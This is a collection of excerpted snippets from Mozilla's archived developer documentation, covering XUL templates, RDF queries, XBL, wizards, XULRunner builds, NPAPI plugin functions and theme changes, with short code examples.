...<vbox datasources="rdf:bookmarks http://www.xulplanet.com/ds/sample.rdf"> in addition, when using the rdf type for chrome xul (such as in extensions), the datasource rdf:local-store is always included in the composite.
Multiple Rule Example - Archive of obsolete content
<vbox id="photoslist" align="start" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subjec...
...t="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/date" object="?date"/> </conditions> <action> <hbox uri="?photo" class="box-padded"> <vbox> <label value="?title"/> <image src="?photo"/> </vbox> <groupbox> <caption label="photo details"/> <label value="?description"/> <label value="date: ?date"/> </groupbox> </hbox> </action> </rule> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo...
..." predicate="http://purl.org/dc/elements/1.1/title" object="?phototitle"/> </conditions> <action> <vbox uri="?photo" class="box-padded"> <label value="?phototitle"/> <image src="?photo"/> </vbox> </action> </rule> </template> </vbox> in this example, the first rule matches only those photos with title, description, and date properties.
RDF Modifications - Archive of obsolete content
for instance, an assert call looks like the following: var source = rdf.getresource("http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"); var predicate = rdf.getresource("http://purl.org/dc/elements/1.1/description"); var target = rdf.getliteral("one of the thirty or so egyptian obelisks"); datasource.assert(source, predicate, target, true); the assert call adds a new triple to the rdf datasource.
...let's assume we have single query with as follows: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> these query statements will cause any photos with both a title and a description...
...consider the following binding: <binding subject="?start" predicate="http://www.xulplanet.com/rdf/categoryname" object="?name"/> this binding involves a triple pointing out from the starting variable that has been used in these examples.
RDF Query Syntax - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <rule> ...
...the content tag doesn't do anything else at this point, meaning it doesn't add anything else to the network of potential results, so processing continues on to the next statement, the triple, which looks like this: <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> the triple statement is used to follow arcs or arrows in the rdf graph.
...you might be able to guess that the builder fills in the value of the ?start variable as the triple's subject, giving something like this: <triple subject="http://www.xulplanet.com/rdf/a" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> the builder doesn't actually change the triple, but this might clarify how the builder is working.
Recursive Generation - Archive of obsolete content
here is the content that was generated after one iteration: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <hbox uri="?relateditem"> <button label="?start"/> <button label="?relatedite...
...m"/> </hbox> </action> </template> <hbox id="http://www.xulplanet.com/rdf/b"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/b"/> </hbox> <hbox id="http://www.xulplanet.com/rdf/c"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/c"/> </hbox> <hbox id="http://www.xulplanet.com/rdf/d"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/d"/> </hbox> </vbox> for the next iteration, the insertion point will be the three <hbox> elements.
...the resulting content for row c will look like this: <hbox id="http://www.xulplanet.com/rdf/c"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/c"/> <hbox id="http://www.xulplanet.com/rdf/d"> <button label="http://www.xulplanet.com/rdf/c"/> <button label="http://www.xulplanet.com/rdf/d"/> </hbox> </hbox> the recursive nature of templates has useful applications in menus and trees so that sets of it...
Result Generation - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rel="http://www.xulplanet.com/rdf/"> <rdf:description rdf:about="http://www.xulplanet.com/rdf/a"> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/b"/> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/c"/> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/d"/> </rdf:desc...
...ription> <rdf:description rdf:about="http://www.xulplanet.com/rdf/c"> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/d"/> </rdf:description> </rdf:rdf> for a xul template query, you first need to select a starting point in the rdf graph.
...here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" flex="1"> this is an indicator that we want to construct a xul template using the reference point with the uri 'http://www.xulplanet.com/rdf/a'.
Template Logging - Archive of obsolete content
<vbox datasources="..." flags="logging"/> the flags attribute on the root element of the template should include the logging flag.
...<content uri="?uri"> <member container="?uri" child="?person"> <triple subject="?person" predicate="http://example.com/name" object="?name"/> <content uri="?uri"> <member container="?uri" child="?human"> <triple subject="?person" predicate="http://example.com/name" object="?name"/> note that subtle difference in these examples.
...for example: if (root.builder.datasource instanceof xmldocument) alert("xml datasource loaded ok"); be careful, as the datasource will only be set once the document has finished loading and has been parsed, so don't check this property too early.
Content Panels - Archive of obsolete content
iframe example example 1 : source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back" /> <toolbarbutton label="forward" /> <textbox id="urlfield" /> </toolbar> </toolbox> <iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1" /> the example here has created a very simple interface for a web browser.
... browser example example 2 : source view <browser src="http://www.mozilla.org" flex="1" /> as with the iframe, you can specify the url in a browser using the src attribute.
...an example: <browser src="http://www.mozilla.org" type="content" flex="1" /> important: you must set the type attribute correctly if you are going to be displaying remote web sites inside the browser element.
Creating a Wizard - Archive of obsolete content
an example wizard source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="example-window" title="select a dog wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <wizardpage> <description> this wizard will help you select the type of dog that is best for you." </description> <label value="why do you want a dog?"/> <menulist> <m...
...enupopup> <menuitem label="to scare people away"/> <menuitem label="to get rid of a cat"/> <menuitem label="i need a best friend"/> </menupopup> </menulist> </wizardpage> <wizardpage description="dog details"> <label value="provide additional details about the dog you would like:"/> <radiogroup> <caption label="size"/> <radio value="small" label="small"/> <radio value="large" label="large"/> </radiogroup> <radiogroup> <caption label="gender"/> <radio value="male" label="male"/> <radio value="female" label="female"/> </radiogroup> </wizardpage> </wizard> this wizard has two pages, one that has a drop-down menu and the other with a set of radio buttons.
...for example: <wizard id="example-window" title="select a dog wizard" onwizardfinish="return savedoginfo();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> when the user clicks the finish button, the function savedoginfo() will be called, which would be defined in a script file to save the information that was entered.
Groupboxes - Archive of obsolete content
a simple groupbox example the example below shows a simple groupbox: example 1 : source view <groupbox> <caption label="answer"/> <description value="banana"/> <description value="tangerine"/> <description value="phone booth"/> <description value="kiwi"/> </groupbox> this will cause four pieces of text to be displayed surrounded by a box with the label answer.
...example 2 : source view <groupbox flex="1"> <caption> <checkbox label="enable backups"/> </caption> <hbox> <label control="dir" value="directory:"/> <textbox id="dir" flex="1"/> </hbox> <checkbox label="compress archived files"/> </groupbox> in this example, a checkbox has been used as a caption.
...this could be used to add extra elements within the structure, such as in the following example: example 3 : source view <radiogroup> <radio id="no" value="no" label="no number"/> <radio id="random" value="random" label="random number"/> <hbox> <radio id="specify" value="specify" label="specify number:"/> <textbox id="specificnumber"/> </hbox> </radiogroup> note that the radiogroup element does not draw a border around it.
Introduction to RDF - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> ...
...<rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#"> <rdf:seq about="http://www.some-fictitious-zoo.com/all-animals"> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/mammals/lion"> <animals:name>lion</animals:name> <animals:species>panthera leo</animals:species> <animals:class>mam...
...mal</animals:class> </rdf:description> </rdf:li> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/arachnids/tarantula"> <animals:name>tarantula</animals:name> <animals:species>avicularia avicularia</animals:species> <animals:class>arachnid</animals:class> </rdf:description> </rdf:li> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/mammals/hippopotamus"> <animals:name>hippopotamus</animals:name> <animals:species>hippopotamus amphibius</animals:species> <animals:class>mammal</animals:class> </rdf:description> </rdf:li> </rdf:seq> </rdf:rdf> here, three records have been described, one for each animal.
Introduction to XBL - Archive of obsolete content
the following example shows the basic skeleton of an xbl file: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="binding1"> <!-- content, property, method and event descriptions go here --> </binding> <binding id="binding2"> <!-- content, property, method and event descriptions go here --> </binding> </bindings> the bindings element is the root element of an xbl file and contains one or more binding elements.
...xul (example.xul): <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="chrome://example/skin/example.css" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box class="okcancelbuttons"/> </window> css (example.css): box.okcancelbuttons { -moz-binding: url('chrome://example/skin/example.xml#okcancel'); } xbl (example.
...xml): <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="okcancel"> <content> <xul:button label="ok"/> <xul:button label="cancel"/> </content> </binding> </bindings> this example creates a window with a single box.
More Wizards - Archive of obsolete content
for example, here are a set of wizard pages (the inner content has been omitted): <wizardpage pageid="type" next="font"> <wizardpage pageid="font" next="done"> <wizardpage pageid="color" next="done"> <wizardpage pageid="done"> the wizard always starts at the first page, which in this case has the page id type.
... wizard example source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function checkcode(){ document.getelementbyid('thewizard').canadvance = (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode(); return tr...
...ue;"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> <label value="that is the correct secret code."/> </wizardpage> </wizard> there is also a corresponding canrewind property that you can use to enable or disable the back button.
Progress Meters - Archive of obsolete content
determinate progress meter: indeterminate progress meter: the progress meter has the following syntax: <html:progress id="identifier" mode="determined" value="50" max="100"/> the attributes are as follows: id the unique identifer of the progress meter mode the type of the progress meter.
... <textbox id="find-text"/> <html:progress value="50" max="100" style="margin: 4px;"/> <button id="find-button" label="find" default="true"/> the value has been set to 50% so that we can see the meter on the window.
... xmlns:html="http://www.w3.org/1999/xhtml" the example so far.
Splitters - Archive of obsolete content
the syntax of a splitter is as follows: <splitter id="identifier" state="open" collapse="before" resizebefore="closest" resizeafter="closest"> the attributes are as follows: id the unique identifier of the splitter.
... splitter example an example would be helpful here: example 1 : source view <hbox flex="1"> <iframe id="content-1" width="60" height="20" src="w1.html"/> <splitter collapse="before" resizeafter="farthest"> <grippy/> </splitter> <iframe id="content-2" width="60" height="20" src="w2.html"/> <iframe id="content-3" width="60" height="20" src="w3.html"/> <iframe id="content-4" width="60" height="20" src="w4.html"/> </hbox> here, four iframes have been created and a spl...
... </tabbox> <iframe src="results.html"/> <splitter collapse="before" resizeafter="grow"> <grippy/> </splitter> <hbox> here, a splitter and an iframe have been added to the dialog.
Stacks and Decks - Archive of obsolete content
for example, you could create an effect similar to the text-shadow property with the following: example 1 : source view <stack> <description value="shadowed" style="padding-left: 1px; padding-top: 1px; font-size: 15pt"/> <description value="shadowed" style="color: red; font-size: 15pt;"/> </stack> both description elements create text with a size of 15 points.
...shadowing is very useful for creating the disabled appearance of buttons: example 2 : source view <stack style="background-color: #c0c0c0"> <description value="disabled" style="color: white; padding-left: 1px; padding-top: 1px;"/> <description value="disabled" style="color: grey;"/> </stack> this arrangement of text and shadow colors creates the disabled look under some platforms.
... example 3 : source view <deck selectedindex="2"> <description value="this is the first page"/> <button label="this is the second page"/> <box> <description value="this is the third page"/> <button label="this is also the third page"/> </box> </deck> three pages exist here, the default being the third one.
label - Archive of obsolete content
ArchiveMozillaXULlabel
attributes accesskey, control, crop, disabled, href, value properties accesskey, accessibletype, control, crop, disabled, value style classes header, indent, monospace, plain, small-margin, text-link examples <label value="email address" control="email"/> <textbox id="email"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... the caption is in the "value" attribute remember that the label element has a "value" attribute, unlike value in html whereas buttons, checkboxes use label="foo" as the attribute <label label="a caption"/> <!-- wrong --> <label value="a caption"/> <label value="click the button"/> <button label="a button"/> <checkbox label="a decision" value="1"/> wrapping by default, label text does not wrap.
...<label control="email">email address</label> <textbox id="email"/> if the text node contains no tags, it can easily be accessed and manipulated from javascript using node.textcontent.
menu - Archive of obsolete content
ArchiveMozillaXULmenu
s, command, crop, disabled, image, label, menuactive, open, sizetopopup, tabindex, value properties accessibletype, accesskey, command, control, crop, disabled, image, itemcount, label, labelelement, menupopup, open, parentcontainer, selected, tabindex, value methods appenditem, getindexofitem, getitematindex, insertitemat, removeitemat style classes menu-iconic example <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menuitem label="new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menu...
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
notification - Archive of obsolete content
attributes image, label, priority, persistence, type, value properties accessibletype, control, image, label, priority, persistence, type, value methods close examples <notification label="this is a warning"/> attributes image type: uri the uri of the image to appear on the element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
richlistitem - Archive of obsolete content
the tab order is the order in which the focus is moved when the user presses the "tab" key.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
iptextnew, value, properties accessibletype, disabled, itemcount, selectedindex, selecteditem, tabindex, value, methods advanceselectedtab, appenditem, getindexofitem, getitematindex, insertitemat, removeitemat examples (example needed) attributes closebutton obsolete since gecko 1.9.2 type: boolean if this attribute is set to true, the tabs row will have a "new tab" button and "close" button on the ends.
...you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
titlebar - Archive of obsolete content
if you don't want this behavior, you can override it by setting allowevents="true" on the titlebar element.
... <?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="background: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul"...
..., "", "chrome=1, titlebar=0") attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width note: the allowevents attribute did not work for title bars prior to firefox 3.
treecell - Archive of obsolete content
attributes editable, label, mode, properties, ref, src, value attributes editable type: boolean allows the contents of individual cells in the column to be changed, especially useful when <treecol type="checkbox">.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
mk_add_options moz_build_projects="xulrunner mccoy" mk_add_options moz_objdir=@topsrcdir@/../mccoybase # global options ac_add_options --enable-debug ac_add_options --disable-optimize # xulrunner options ac_add_app_options xulrunner --enable-application=xulrunner # mccoy options ac_add_app_options mccoy --enable-application=mccoy ac_add_app_options mccoy --with-libxul-sdk=../xulrunner/dist the first section tells mozilla what t...
...for example, you might want to set it to "xulrunner" now and run make to ensure that everything is set up correctly so far.
...macbuild/ - when steve jobs said "think different", we took that to heart, and not just by rejecting useless adverbial endings.
Using LDAP XPCOM with XULRunner - Archive of obsolete content
actually, the ldap interfaces are available (for exemple, components.interfaces.nsildapconnection is not null), but the components can't be loaded (for example, components.classes["@mozilla.org/network/ldap-connection;1"] is null).
... include $(depth)/config/autoconf.mk module = mozldapstub library_name = mozldap_stub is_component = 1 force_shared_lib = 1 requires = \ xpcom \ string \ $(null) cppsrcs = ldapstubloader.cpp extra_dso_ldopts += \ $(dist)/lib/$(lib_prefix)xpcomglue_s.$(lib_suffix) \ $(xpcom_frozen_ldopts) \ $(nspr_libs) \ $(null) include $(topsrcdir)/config/rules.mk defines += -dmoz_dll_prefix=\"$(dll_prefix)\" ldapstubloader.cpp: // copyright (c) 2005 benjamin smedberg <benjamin@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static char const *const kdependentlibraries[] = { #ifdef ns_win32 moz_dll_prefix "nsldap32v50" moz_dll_suffix, moz_dll_prefix "nsldappr32v50" moz_dll_suffix,...
... #endif //ns_win32 #ifdef ns_unix moz_dll_prefix "ldap50" moz_dll_suffix, moz_dll_prefix "prldap50" moz_dll_suffix, #endif //ns_unix nsnull }; // component.dll on windows, libcomponent.dll on linux static char krealcomponent[] = moz_dll_prefix "mozldap" moz_dll_suffix; nsresult nsgetmodule(nsicomponentmanager* acompmgr, nsifile* alocation, nsimodule* *aresult) { nsresult rv; nscomptr<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("dummy")); // loop through and load depend...
Opening a Link in the Default Browser - Archive of obsolete content
this can be done using the nsiexternalprotocolservice interface: // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); // now, open it!
...to suppress this warning for particular protocols that are safe to open in the default application, you must set default prefs (thunderbird sets the following prefs): // suppress external-load warning for standard browser schemes pref("network.protocol-handler.warn-external.http", false); pref("network.protocol-handler.warn-external.https", false); pref("network.protocol-handler.warn-external.ftp", false); you can also check whether an external handler for a scheme exists.
... this is how you do it: var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("http")) { // handler for http:// urls exists } link within an iframe to enable a link inside an html document that is the "src" of an iframe to be opened in the default browser, setting the preference: pref("network.protocol-handler.expose-all", false); seems to work.
xulauncher - Archive of obsolete content
ple bash script to create a minimal xulrunner dir structure and # needed meta files in /tmp, copy the xul-file over and start it # usage: # xulauncher xulfile.xul [options] ############################################################################## # check if theres atleast one parameter ############################################################################## if [ $# -lt 1 ] then echo "you need to give the xul file as first parameter" exit fi # check if 1st parameter is a file ############################################################################## if [ !
... -f "$1" ] then echo "\"$1\" is not a file" exit fi # define some variables ############################################################################## wd=/tmp ext=".xul" xulfile=`basename $1` xulname=${xulfile%$ext} xuldir="$wd/$xulname/chrome/$xulname/" xulprefdir="$wd/$xulname/defaults/preferences" xulappini="$wd/$xulname/application.ini" xulmanifest="$wd/$xulname/chrome/chrome.manifest" xulprefs="$wd/$xulname/defaults/preferences/prefs.js" # make minimal directory structure ############################################################################## mkdir -p $xuldir mkdir -p $xulprefdir # create application.ini file ############################################################################## echo " [app] vendor=xulauncher.sh name=$xulname version=0.0.1 buildid=`date +%y%...
...m%d` [gecko] minversion=1.8 maxversion=1.9 ">$xulappini # create chrome.manifest file ############################################################################## echo " content $xulname file:$xulname/ ">$xulmanifest # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultchromeuri\", \"chrome://$xulname/content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascript.options.showinconsole\", true); pref(\"javascript.options.strict\", true); pref(\"nglayout.debug.disable_xul_cache\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$xulprefs # copy xul file to right location and run it #####################################################################...
mozilla.dev.platform FAQ - Archive of obsolete content
" a: make sure the app can find the framework or you can use the packages of the firefox release repackager which uses the embedded framework successfully.
...a: have the browser.chromeurl preference - this should be a xul document containing a <browser type="content-primary"> element in which the popup window's content should get loaded.
... visual studio express 2005 q: when i try to run xulrunner-stub.exe i get the error "this application failed to start because msvcr80.dll was not found." a: see bug 350616 ...
2006-12-01 - Archive of obsolete content
bon echo project status: remaining "to-do" items beltzner starts a discussion on when to offer 1.5.0.8+ users the chance to upgrade to ff2.x (now or when ff2.0.0.1 is released).
... this newsgroup or "governance"?
... mozilla.org staff, project drivers, and technical oversight mike connor starts a discussion about the need for a "buck stops here" group and the replacement of drivers@mozilla.org.
2006-11-17 - Archive of obsolete content
site not loading with seamonkey a user built seamonkey in debug mode and is currently receiving a "bad request" error on some websites.
...if bugs are filed, "[reflow branch]" should be placed at the beginning of the summary.
...the possibility of turning the microsummaryresource object into a xpcom component, which accomplishes this task in a "hacky" manner, was also discussed.
NPN_PluginThreadAsyncCall - Archive of obsolete content
description causes asynchronous execution of the specified function pointer on the "plug-in thread", passing in the specified user data pointer when it is called.
... the "plug-in thread" is the thread hosting the plug-in, which may be either the browser's main thread or the plug-in process if the plug-in is being executed out-of-process.
...calling npn_pluginthreadasynccall() on the "browser main thread" or the "plug-in thread" is legal; the call to npn_pluginthreadasynccall() returns immediately.
NPN_Write - Archive of obsolete content
see "example of sending a stream" for an example that includes npn_write().
...npstream* stream; char* mydata = "<html><b>this is a message from my plug-in!</b></html>"; int32 mylength = strlen(mydata) + 1; /* create the stream.
... */ err = npn_newstream(instance, "text/html", "_blank", &stream) /* push data into the stream.
NP_GetMIMEDescription - Archive of obsolete content
one mime type // example inside http://mxr.mozilla.org/mozilla-central/source/modules/plugin/sdk/samples/basic/unix/plugin.cpp #define mime_type_description "application/basic-plugin:bsp:basic example plug-in for mozilla" const char* np_getmimedescription(void) { return(mime_types_description); } two mime types const char* np_getmimedescription(void) { return "application/basic-example-plugin:xmp1:example 1;application/basic-example2-plugin:xmp2, xm2p:example 2"; } gnome integration if you use gnome vfs (gnome-vfs-2.0), you can get the mime typ...
... #include <libgnomevfs/gnome-vfs-mime-handlers.h> #include <libgnomevfs/gnome-vfs-mime-info.h> #include <libgnomevfs/gnome-vfs-utils.h> // const char* gnome_vfs_mime_get_description (const char *mime_type); const char* desc = gnome_vfs_mime_get_description ("audio/ogg"); if you use gnome gio (gio-2.0), you can get the mime type description too.
... #include <gio/gio.h> const char* desc = g_content_type_get_description("audio/ogg"); javascript inside a web page, you can retrieve these informations with this code: var mimetype = navigator.mimetypes['application/basic-example-plugin']; if (mimetype) { alert(mimetype.type + ':' + mimetype.suffixes + ':' + mimetype.description); } ...
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:m...
...y_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:communicator"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:mozapps"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:help"/> </rdf:rdf> ...
Theme changes in Firefox 3 - Archive of obsolete content
as a result, the 'display' property should be removed from .tab-drop-indicator-bar (including for dragging="true").
... browser/themes/pinstripe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left.
...the rule that's needed to show and hide the go button and other location bar icons is: #urlbar[pageproxystate="invalid"] > #urlbar-icons > :not(#go-button) , #urlbar[pageproxystate="valid"] > #urlbar-icons > #go-button { visibility: collapse; } images to add add the following images: chrome://global/skin/icons/information-16.png used when presenting information notices.
Settings - Archive of obsolete content
ignore caught exceptions if this option is set (it is set by default) and "pause on exceptions" is set, then execution will pause on an exception only if that exception is not caught.
... show variables filter box enabling this option adds a "filter variables" search box to the variables pane, so that you can filter the displayed list of variables.
... automatically black box sources whose url ends with ".min.js".
Summary of Changes - Archive of obsolete content
proprietary or deprecated feature w3c feature or recommended replacement deprecated font html 4.01 span plus css1 color: ; font-family: ; font-size: ; deprecated center or align="center" css1 text-align: center; for in-line elements like text or image deprecated center or align="center" css1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1 background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus script...
...ing non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or recommended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attribute_value] dom level 2: document.getelementbyid(id_attribute_value) ie5+ formname.inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ formctrlname dom level 1: document.forms["formname"].formctrlname ie5+ document.forms(0) dom level 1: document.forms[0] ie elemref.innertext dom level 1 (core) interface we could introduce dom 3 core textcontent attribute h...
...http://www.w3.org/tr/2004/rec-dom-le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated feature w3c feature or recommended replacement ...
:-moz-system-metric(windows-default-theme) - Archive of obsolete content
example html content <p id="defaultthemes"> this paragraph should have a green background with luna/royale/zune/aero windows themes and red with other themes.
... </p> <p id="nondefaultthemes"> this paragraph should have a green background with windows classic or third-party themes and red with other themes.
... </p> <p id="notsupported">theme detection is not supported.</p> css content #defaultthemes, #nondefaultthemes { background-color: #ffa0a0; } #defaultthemes:-moz-system-metric(windows-default-theme) { background-color: #a0ffa0; } #nondefaultthemes:not(-moz-system-metric(windows-default-theme)) { background-color: #a0ffa0; } #notsupported:-moz-system-metric(windows-default-theme), #notsupported:not(:-moz-system-metric(windows-default-theme)) { display: none; } specifications not part of any specification.
E4X for templating - Archive of obsolete content
